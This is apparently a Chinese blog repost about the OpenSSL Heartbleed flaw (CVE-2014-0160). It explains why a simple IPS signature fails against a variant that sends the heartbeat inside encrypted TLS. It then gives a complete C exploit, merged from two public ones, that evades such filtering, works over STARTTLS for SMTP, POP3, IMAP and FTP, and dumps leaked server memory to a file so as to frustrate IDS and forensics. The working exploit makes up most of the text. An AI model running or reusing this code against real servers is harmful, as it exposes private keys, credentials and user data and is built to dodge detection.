OpenSSL的heartbeat漏洞变种攻击 实测过IPS(天融信 mcafee 启明星辰)等

实测过各大厂商IPS

文章来源:http://www.icylife.net/blog/?p=932

这几天openssl的信息泄露漏洞闹得满城风雨,漏洞的原因http://drops.wooyun.org/papers/1381分析得很清楚了。第一个版本的EXP是针对HTTPS的,我提出作简单的IPS规则过滤。匹配tcp协议payload长度为8字节并且前6个字节等于\0×18\0×03\0×02\0×00\0×03\0×01的数据包,做丢弃处理。

结果今天有老外放出一个新的EXP,https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c。它不是在TCP层去发送心跳请求,而是改成了在TLS层去做。这样,心跳请求就是加密的了,长度不固定,而且固定的字节进一步缩短,IPS规则再缩短的话就有大量误报了,估计厂商只能精确识别,简单的规则行不通了。

另外的,由于是OpenSSL的漏洞,影响面不仅仅是HTTPS,其它的应用也在范围之内,因此有了这个EXP,https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py,它可以DUMP非HTTPS的数据,如SMTPS的。

BTW,465、993、995这种端口,默认就是SSL的,不需要STARTTLS之类的指令,监听25端口的SMTP默认明文,但是有的可以用STARTTLS要求开启加密隧道。

有鉴于此,我把这两个EXP整合了一下,即可以躲避简单的IPS,也可以搞SMTPS之类的服务。IMAPS的没测试,没找到合适的目标机器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics.
*
*
* yunshu@outlook.com
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>
#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
        (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
         c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
typedef struct {
    int socket;
    SSL *sslHandle;
    SSL_CTX *sslContext;
} connection;
typedef struct {
  unsigned char type;
  short version;
  unsigned int length;
  unsigned char hbtype;
  unsigned int payload_length;
  void* payload;
} heartbeat;
int tcp_connect(char* server,int port){
    int sd,ret;
    struct hostent *host;
        struct sockaddr_in sa;
        host = gethostbyname(server);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd==-1){
        printf("[!] cannot create socket\n");
        exit(0);
    }
    sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = *((struct in_addr *) host->h_addr);
        bzero(&(sa.sin_zero),8);
    printf("[ connecting to %s %d/tcp\n",server,port);
        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
    if(ret==0){
        printf("[ connected to %s %d/tcp\n",server,port);
    }
    else{
        printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
        exit(0);
    }
    return sd;
}
void ssl_init(){
        SSL_load_error_strings();
        SSL_library_init();
        OpenSSL_add_all_digests();
        OpenSSL_add_all_algorithms();
        OpenSSL_add_all_ciphers();
}
connection* tls_connect(int sd){
        connection *c;
    c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(TLSv1_client_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        if(SSL_connect(c->sslHandle)!=1)
                ERR_print_errors_fp(stderr);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
    return c;
}
int pre_cmd(int sd, int type){
    char buff[1024] = { 0 };
    // smtp
    if(type==1){
        char *cmd1 = "EHLO openssl.client.net\r\n";
        char *cmd2 = "STARTTLS\r\n";
        sd = get_banner( sd );
        sd = send_cmd( sd, cmd1 );
        sd = send_cmd( sd, cmd2 );
    }
    else if(type==2){
        char *cmd = "STLS\r\n";
        
        sd = get_banner( sd );
        sd = send_cmd(sd, cmd);
    }
    else if(type==3){
        char *cmd = "STARTTLS\r\n";
        sd = get_banner( sd );
        sd = send_cmd(sd, cmd);
    }
    else if(type==4){
        char *cmd = "AUTH TLS\r\n";
        sd = get_banner( sd );
        sd = send_cmd(sd, cmd);
    }
    return sd;
}
int get_banner( int sd )
{
    char buff[10240] = { 0 };
    
    memset( (void*)buff, 0, sizeof(buff) );
    recv(sd, buff, sizeof(buff)-1, 0 );
    printf( "[ recv: %s\n", buff );
    return sd;
}
    
int send_cmd( int sd, char *cmd )
{
    char buff[10240] = { 0 };
    send(sd, (void *)cmd, strlen(cmd), 0 );
    printf( "[ send: %s\n", cmd );
    memset( (void*)buff, 0, sizeof(buff) );
    recv(sd, buff, sizeof(buff)-1, 0 );
    printf( "[ recv: %s\n", buff );
    return sd;
}
    
void* heartbleed(connection *c){
    unsigned char *buf, *p;
        int ret;
    buf = OPENSSL_malloc(1 + 2);
        p = buf;
        *p++ = TLS1_HB_REQUEST;
    
    s2n(0xffff,p);
    printf("[ setting heartbeat payload_length to 65535 bytes\n");
    
    printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        OPENSSL_free(buf);
    printf( "[ exp send finished.\n" );
    return c;
}
void* sneakyleaky(connection *c,char* filename, int verbose){
    char *p;
        int ssl_major,ssl_minor,al;
        int enc_err,n,i;
        SSL3_RECORD *rr;
        SSL_SESSION *sess;
    SSL* s;
        unsigned char md[EVP_MAX_MD_SIZE];
        short version;
        unsigned mac_size, orig_len;
        size_t extra;
        rr= &(c->sslHandle->s3->rrec);
        sess=c->sslHandle->session;
        s = c->sslHandle;
        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
                extra=SSL3_RT_MAX_EXTRA;
        else
                extra=0;
        if ((s->rstate != SSL_ST_READ_BODY) ||
                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
                        if (n <= 0)
                                goto apple;
                        s->rstate=SSL_ST_READ_BODY;
                        p=s->packet;
                        rr->type= *(p++);
                        ssl_major= *(p++);
                        ssl_minor= *(p++);
                        version=(ssl_major<<8)|ssl_minor;
                        n2s(p,rr->length);
            if(rr->type==24){
                printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
            }
            else{
                printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
                s->packet_length=0;
                goto apple;
            }
        }
        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
                i=rr->length;
                n=ssl3_read_n(s,i,i,1);
                if (n <= 0) goto apple;
        }
    printf("[ decrypting and decompressing SSL packet\n");
        s->rstate=SSL_ST_READ_HEADER;
        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
        rr->data=rr->input;
        tls1_enc(s,0);
        if(verbose==1){
                { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
                printf("\n");
        }
        if((sess != NULL) &&
            (s->enc_read_ctx != NULL) &&
            (EVP_MD_CTX_md(s->read_hash) != NULL))
                {
                unsigned char *mac = NULL;
                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
                mac_size=EVP_MD_CTX_size(s->read_hash);
                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
                orig_len = rr->length+((unsigned int)rr->type>>8);
                if(orig_len < mac_size ||
                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
                   orig_len < mac_size+1)){
                        al=SSL_AD_DECODE_ERROR;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
                }
                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
                        mac = mac_tmp;
                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
                        rr->length -= mac_size;
                }
                else{
                        rr->length -= mac_size;
                        mac = &rr->data[rr->length];
                }
                i = tls1_mac(s,md,0);
                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
                        enc_err = -1;
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
                        enc_err = -1;
                }
        if(enc_err < 0){
                al=SSL_AD_BAD_RECORD_MAC;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
                goto apple;
        }
        if(s->expand != NULL){
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
                        al=SSL_AD_RECORD_OVERFLOW;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
                        goto apple;
                        }
                if (!ssl3_do_uncompress(s)) {
                        al=SSL_AD_DECOMPRESSION_FAILURE;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
                        goto apple;
                        }
                }
        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
                al=SSL_AD_RECORD_OVERFLOW;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
                goto apple;
        }
        rr->off=0;
        s->packet_length=0;
    printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
    int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
        write(fd,s->s3->rrec.data,s->s3->rrec.length);
        close(fd);
    printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
    printf("[ done.\n");
    exit(0);
apple:
        printf("[ problem handling SSL record packet - wrong type?\n");
}
void usage(){
    printf("[\n");
    printf("[ --server|-s <ip/dns>    - the server to target\n");
    printf("[ --port|-p   <port>      - the port to target\n");
    printf("[ --file|-f   <filename>  - file to write data to\n");
    printf("[ --type|-t               - select service type to try\n");
    printf("[                           0 = default using ssl tunnel, don't need STARTTLS, just like 443(https),465(smtps),995(pop3s),993(imaps)\n");
    printf("[               1 = smtp, 25\n");
    printf("[               2 = pop3, 110\n");
    printf("[               3 = imap, 389\n");
    printf("[               4 = ftp, 21\n");
    printf("[\n");
    printf("[ --verbose|-v            - output leak to screen\n");
    printf("[ --help|-h               - this output\n");
    printf("[\n");
    exit(0);
}
int main(int argc, char* argv[]){
    int ret, port, userc, index;
    int type = 1, udp = 0, verbose = 0, bind = 0;
    struct hostent *h;
    connection* c;
    char *host, *file;
    int ihost = 0, iport = 0, ifile = 0, itype = 0;
    printf("\n\n");
    printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
    printf("[ =============================================================\n");
        static struct option options[] = {
            {"server", 1, 0, 's'},
            {"port", 1, 0, 'p'},
        {"file", 1, 0, 'f'},
        {"type", 1, 0, 't'},
        {"verbose", 0, 0, 'v'},
        {"help", 0, 0,'h'}
        };
    while(userc != -1) {
            userc = getopt_long(argc,argv,"s:p:f:t:vh",options,&index);
            switch(userc) {
                    case -1:
                            break;
                    case 's':
                if(ihost==0){
                    ihost = 1;
                    h = gethostbyname(optarg);             
                    if(h==NULL){
                        printf("[!] FATAL: unknown host '%s'\n",optarg);
                        exit(1);
                    }
                    host = malloc(strlen(optarg) + 1);
                    sprintf(host,"%s",optarg);
                        }
                break;
                    case 'p':
                if(iport==0){
                    port = atoi(optarg);
                    iport = 1;
                }
                            break;
            case 'f':
                if(ifile==0){
                    file = malloc(strlen(optarg) + 1);
                    sprintf(file,"%s",optarg);
                    ifile = 1;
                }
                break;
            case 't':
                if(itype==0){
                    type = atoi(optarg);
                    itype = 1;
                }
                break;
            case 'h':
                usage();
                break;
            case 'b':
                if(ihost==0){
                    ihost = 1;
                    host = malloc(strlen(optarg)+1);
                    sprintf(host,"%s",optarg);
                    bind = 1;
                }
                break;
            case 'v':
                verbose = 1;
                break;
            default:
                break;
        }
    }
    if(ihost==0||iport==0||ifile==0||itype==0){
        printf("[ try --help\n");
        exit(0);
    }
    ssl_init();
    
    ret = tcp_connect(host, port);
    if(type!=0){
        pre_cmd(ret, type);
    }
    c = tls_connect(ret);
    heartbleed(c);
    sneakyleaky(c,file,verbose);
    printf("\n\n");
    exit(0);
}

发表评论

电子邮件地址不会被公开。 必填项已用*标注